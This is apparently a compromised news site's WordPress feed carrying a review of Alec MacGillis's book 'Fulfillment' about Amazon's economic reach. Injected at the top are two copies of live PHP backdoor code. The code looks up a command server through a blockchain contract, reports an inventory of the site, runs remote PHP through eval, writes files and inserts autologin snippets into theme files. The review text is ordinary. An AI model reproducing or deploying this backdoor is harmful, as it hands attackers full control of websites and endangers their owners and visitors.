// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); wealth – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 05 Sep 2022 18:00:20 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png wealth – Brief News https://briefnews.eu 32 32 Amazon Has Transformed the Geography of Wealth and Power https://briefnews.eu/amazon-has-transformed-the-geography-of-wealth-and-power/ https://briefnews.eu/amazon-has-transformed-the-geography-of-wealth-and-power/#respond Mon, 05 Sep 2022 18:00:20 +0000 https://briefnews.eu/amazon-has-transformed-the-geography-of-wealth-and-power/ This article was published online on February 12, 2021.

In the mid-1990s, when I was in middle school, my family moved to the suburbs of Seattle, where my father had gotten a job at Boeing. My parents would drive my sister and me down I-90 to the Bellevue Square mall on weekends, and I’d sit on the carpet of the B. Dalton bookstore, reading magazines. A mile and a half up Bellevue Way, in the garage of a rented house, Jeff Bezos was starting Amazon. For some time, Amazon’s influence was little noticed. In high school, the drive to my part-time job took me through what was then the nondescript South Lake Union neighborhood—dotted with auto shops, warehouses, and, along the waterfront, a few marinas. The main landmark was Denny Triangle’s Elephant Car Wash, with its pair of pink, elephant-shaped neon signs. It was a perfect specimen of the kitsch for which Seattle was known at the time, and I loved it.

Only recently has the South Lake Union area that I remember been transformed by the sprawling landscape of Amazon’s campus, which includes a Harry Potter–themed library, a dog deck featuring a fake fire hydrant, and three enormous, spherical plant conservatories. This past October, the Denny Triangle Elephant Car Wash closed down, under pressure from the pandemic and rising taxes and rent. Its owner donated one of the elephant signs to Amazon. “They asked for it, they wanted to have it,” Bob Haney told The Seattle Times. “So I gifted it to them.”

Haney isn’t a character in Fulfillment: Winning and Losing in One-Click America, Alec MacGillis’s wide-ranging, impressionistic tour of a nation whose citizens’ existence has become intertwined with a single corporation, but he easily could have been. Plenty of books have been written about Amazon, so MacGillis wasn’t interested in probing the inner workings of the corporation itself. Instead, he set out to explore “the America that fell in the company’s lengthening shadow”—that is, the places where Amazon’s influence has undermined social cohesion in pervasive ways. Finding such places turns out to be easy.

There are countless ways to measure Amazon’s hold on American life. More people in the U.S. subscribe to its Prime service than voted for either Donald Trump or Joe Biden in the past election: more than 100 million, by recent estimates. Amazon reaps fully half of what people in this country spend online. It is the second-biggest private workplace in the United States, after Walmart, employing more than 800,000 people, most of whom will never set foot in the Seattle headquarters’ plant spheres. Among Amazon’s large Arizona-based workforce, most of it inside warehouses, one in three people was on the federal Supplemental Nutrition Assistance Program in 2017. Incidentally, Amazon, along with Walmart, has been one of the biggest beneficiaries of an arrangement that allows food stamps to be used for online groceries, bringing in large amounts of government money. Bezos, Amazon’s CEO, is the richest person alive.

As MacGillis notes, understanding how a single corporation became so widely and deeply entrenched requires historical perspective. Starting in the late 1970s, federal regulations governing business consolidation were loosened, and antitrust enforcement waned. Predictably, a growing share of corporate wealth began flowing to a small number of firms and, in turn, people. The rise of the internet in the 2000s accelerated the process in ways we’re by now familiar with, and a handful of companies—Google, Facebook, Apple, and Amazon, in particular—came to dominate large swaths of economic life. What MacGillis feels is underappreciated is the geographical remapping of wealth—and, with it, power—that the transformation has brought about.

[Read: What Big Tech wants out of the pandemic]

MacGillis, a reporter at ProPublica and the author of a Mitch McConnell biography titled The Cynic, was one of the first journalists to begin documenting the socioeconomic upheaval that helped shift the rural Rust Belt from blue to red and put Donald Trump in the White House. In Fulfillment, he is less concerned with the much-discussed electoral implications than with the tech-era upheaval itself. The superficially equalizing promise that customers everywhere can enjoy unprecedented convenience with a mere click has intensified the differences in the choices available to the rich and the poor. MacGillis describes how, while rich corporations and their top employees have settled in a small number of wealthy coastal cities, the rest of the American landscape has been leached of opportunities.

Portraying the phenomenon as a widening urban-rural divide is the simplistic version of a more nuanced and bigger story, MacGillis emphasizes. In 1969, the 30 metropolitan areas with the highest per capita personal income included Detroit, Cleveland, and three other midwestern cities. In 2019, only two midwestern names—Chicago and Minneapolis—appeared on that list, and nearly all the rest were on the coasts. Meanwhile, within the coastal cities that have grown wealthier, the gains have been disturbingly uneven. Rising rents and a lack of affordable housing have left the Seattle area, for example, with the third-biggest population of homeless people in the U.S., after New York City and Los Angeles, according to 2019 data.

These numbers document a stark divergence, but they don’t capture its human dimensions. That is MacGillis’s goal, as he explores what the erosion of power and possibility means for regular people. Internally, Amazon uses the word fulfillment in reference to processing customers’ orders. MacGillis, of course, has another usage in mind: the very American emphasis on the chance to seek satisfaction—a sense of meaning, purpose, and value; a feeling of personal empowerment and communal solidarity—in our labor. No corporation provides a clearer vantage, or more angles, than Amazon does on the strategic choices that have expressly contributed to foiling that quest.

F ulfillment begins in a basement. Hector Torrez (a pseudonym) is an Amazon warehouse employee in Thornton, Colorado, who earns $ 15.60 an hour moving packages and boxes all night long. When the book opens, he has learned—from co-workers, not the company—that he has been exposed to the coronavirus on the job, and his wife has exiled him downstairs. From Torrez’s basement, MacGillis travels to Seattle and Washington, D.C., where so much of Amazon’s wealth is concentrated, as well as to cities in Maryland, Ohio, and Pennsylvania that have Amazon to blame, at least indirectly, for their historic decline in fortunes since the ’90s.

In some of MacGillis’s stories, the connection to Amazon is so tenuous as to be almost indiscernible; the characters’ problems seem to arise more from larger forces, such as globalization, gentrification, and the opioid crisis, than from any one corporation’s influence. A young man from small-town Ohio—alienated by his experience in D.C., where he starts college—returns home and enters Democratic politics. After scoring a local success, he runs for Congress, determined that the party not write off his opioid-ravaged, Trump-supporting region, but he fails to drum up more than a couple of union endorsements. A gospel singer who became a cultural force in Seattle during the ’80s watches as her neighbors are pushed out of the city’s historically Black Central District one by one.

Local energies may have been sapped for many reasons, yet in the coastal cities that MacGillis visits, Amazon’s disproportionate ability to further enrich and empower already thriving places and workers is glaring. Familiar though they are, evocations of the six-figure salaries and amenities available to young Amazon programmers—a café catering to their dogs, meeting space in a giant replica of a bird’s nest—acquire new salience set against Torrez’s experience. And the sense of entitlement on display in the company’s search for a second headquarters site is breathtaking. Local officials across hard-knock America prostrate themselves for a chance to host it. In the end, Amazon chooses the suburbs of the nation’s capital—already one of the wealthiest areas in the country—and walks away having amassed a great deal of useful regional data provided by eager bidders who probably never stood a chance.

In the less glamorous pockets of the country—the rural areas and small cities where MacGillis has spent so much time as a reporter—Amazon’s role in making economic hardship more entrenched is no less stark. In El Paso, Texas, Amazon has aggressively marketed itself to the city government as a go-to source for office supplies—which has pushed local purveyors to open up online storefronts on Amazon; a large cut of their sales goes to the corporation. In York, Pennsylvania, the headquarters of the once-fashionable Bon-Ton department store has been made extinct by Amazon and the broader retail consolidation it represents. The crisis of unemployment that has ensued is one that Amazon exploits, finding able bodies for its warehouses in nearby towns.

[Read: I delivered packages for Amazon and it was a nightmare]

On his home turf of Baltimore, MacGillis explores most intimately the ebbing of human fulfillment that has accompanied Amazon’s promise of high-speed customer service. He profiles Bill Bodani Jr., who spent most of his working life at Bethlehem Steel’s Sparrows Point complex, outside the city. In the early 2000s, a serious injury forced him to retire in his mid-50s, around the time that foreign competition and other factors pushed the company into bankruptcy. Eventually, the Sparrows Point plant shut down and Bodani’s monthly pension payment was cut from $ 3,000 to $ 1,600. Now 69 years old and back at work as a forklift driver in a 22-acre Amazon warehouse, he returns every day to the exact same piece of land. The peninsula has been rebranded—it’s called Tradepoint Atlantic now—and has become what MacGillis calls an “all-purpose logistics hub” that houses, among other facilities, an Amazon fulfillment center.

Bodani’s young co-workers call him “Pops” and “Old Man”—he’s by far the oldest one around. He starts out making about $ 12 an hour, compared with the $ 35 an hour he earned at his steel job. Other indignities are more insidious. The company uses an algorithm to track how productive its workers are and how much time they spend off task, flagging people for termination if the data show them underperforming. In other words, a worker can be fired with minimal involvement by a supervisor. Time-limited bathroom breaks mean that Bodani sometimes pees in a quiet corner of the warehouse, parking the forklift to shield him. Yet he draws comfort from working on the same physical terrain where he began his career: He sought out the job at the old Sparrows Point because it gave him a sense of belonging. “It’s a feeling of being home,” he tells MacGillis.

A man who clearly sets store by solidarity and continuity, Bodani still hangs out regularly with the Retirees United Local 9477, gathering for lunch with former Sparrows Point steelworkers and other union members—the kind of custom no Amazon worker will enjoy, if the anti-union corporation has its way. One day, he drops by a United Steelworkers office and collects some material on the right to organize. At work, he shows it to a young man he’s been training to operate the forklifts, who plainly chafes at Amazon’s culture—“the constant pressure to ratchet goals upward, the sense of total surveillance, the workers’ lack of a voice,” as MacGillis puts it. The next day, Bodani’s supervisor, three decades his junior, chastises him for passing out literature. The young man to whom he gave the flyers hasn’t been circumspect in distributing them; later, that worker is furloughed. (Amazon has denied that he was suspended.) When the supervisor threatens to dock Bodani’s pay over a bathroom break, Bodani has had enough. “You got to be kidding me,” he tells the supervisor. After a 50-year career at Sparrows Point, he quits, amid the holiday crush.

